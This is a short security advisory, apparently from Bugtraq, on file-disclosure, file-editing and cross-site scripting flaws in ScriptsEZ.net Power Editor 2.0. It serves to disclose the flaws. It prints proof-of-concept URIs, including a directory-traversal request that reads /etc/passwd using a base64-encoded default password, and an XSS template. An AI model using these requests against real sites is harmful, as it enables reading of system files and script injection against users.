Power Editor Multiple Input Validation Vulnerabilities

Bugtraq ID:	29063
Class:	Input Validation Error
CVE:	CVE-2008-2116 CVE-2008-2115
Remote:	Yes
Local:	No
Published:	May 05 2008 12:00AM
Updated:	Jul 06 2016 02:17PM
Credit:	Virangar Security
Vulnerable:	ScriptsEZ.net Power Editor 2.0
Not Vulnerable:

Power Editor Multiple Input Validation Vulnerabilities

Power Editor is prone to multiple input-validation vulnerabilities.

An attacker can exploit these vulnerabilities to view and edit local files and to execute arbitrary script code in the context of the webserver process. Attackers can also execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

These issues affect Power Editor 2.0; other versions may also be vulnerable.

Power Editor Multiple Input Validation Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/editor.php?action=tempedit&m=[base64 password]&te=[local_file]&dir=[local_dir]
http://www.example.com/editor.php?action=tempedit&m=Y2hhbmdlbWU=&te=/etc/passwd&dir=../../../../../../../../../..

http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[xss]&dir=[xss]

Power Editor Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Power Editor Multiple Input Validation Vulnerabilities

References:

• Power Editor Homepage (ScriptsEZ.net)
  
• Power Editor LOCAL FILE INCLUSION Vulnerbility ([email protected] )